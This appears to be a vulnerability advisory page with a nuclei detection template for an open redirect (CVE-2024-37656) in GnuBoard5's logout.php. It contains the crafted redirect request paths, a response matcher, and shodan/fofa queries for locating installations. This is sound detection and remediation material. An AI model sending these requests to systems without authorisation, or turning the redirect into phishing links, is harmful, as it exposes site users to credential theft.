GnuBoard5 5.5.16 - Open Redirect

mediumseverity

6.1CVSS score

0.5%likelihood of exploitation, next 30 days

45%of all CVEs are less likely

Readycheck to confirm it

Gnuboard5 5.5.16 contains an open redirect vulnerability caused by insufficient URL parameter verification in bbs/logout.php, letting remote attackers redirect users to arbitrary URLs, exploit requires crafted URL parameter.

Impact

Remote attackers can redirect users to malicious sites, potentially leading to phishing or information theft.

Fix

Update to the latest version of Gnuboard5.

How to confirm it

Send: GET {{BaseURL}}/gnuboard5/bbs/logout.php?url=/\oast.pro ; GET {{BaseURL}}/bbs/logout.php?url=/\oast.pro
Positive when: matches in header /(?m)^(?:Location\s*?:\s*)(?:https?://|//|/\\\\)?[a-zA-Z0-9._@-]*oast\.pro.*$/ AND status 302

Run it with nuclei: nuclei -id CVE-2024-37656 -u <target>

The full check

id: CVE-2024-37656

info:
  name: GnuBoard5 5.5.16 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: |
    Gnuboard5 5.5.16 contains an open redirect vulnerability caused by insufficient URL parameter verification in bbs/logout.php, letting remote attackers redirect users to arbitrary URLs, exploit requires crafted URL parameter.
  impact: |
    Remote attackers can redirect users to malicious sites, potentially leading to phishing or information theft.
  remediation: |
    Update to the latest version of Gnuboard5.
  reference:
    - https://github.com/gnuboard/gnuboard5/issues/318
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37656
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-37656
    epss-score: 0.00531
    epss-percentile: 0.45218
    cwe-id: CWE-601
    cpe: cpe:2.3:a:sir:gnuboard:5.5.16:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: sir
    product: gnuboard
    shodan-query: html:"GnuBoard5"
    fofa-query: body:"GnuBoard5"
  tags: cve,cve2024,redirect,gnuboard5,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/gnuboard5/bbs/logout.php?url=/\\oast.pro"
      - "{{BaseURL}}/bbs/logout.php?url=/\\oast.pro"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*)(?:https?://|//|/\\\\)?[a-zA-Z0-9._@-]*oast\.pro.*$'

      - type: status
        status:
          - 302

References

Use this check only on systems you are authorised to test. Where the data comes from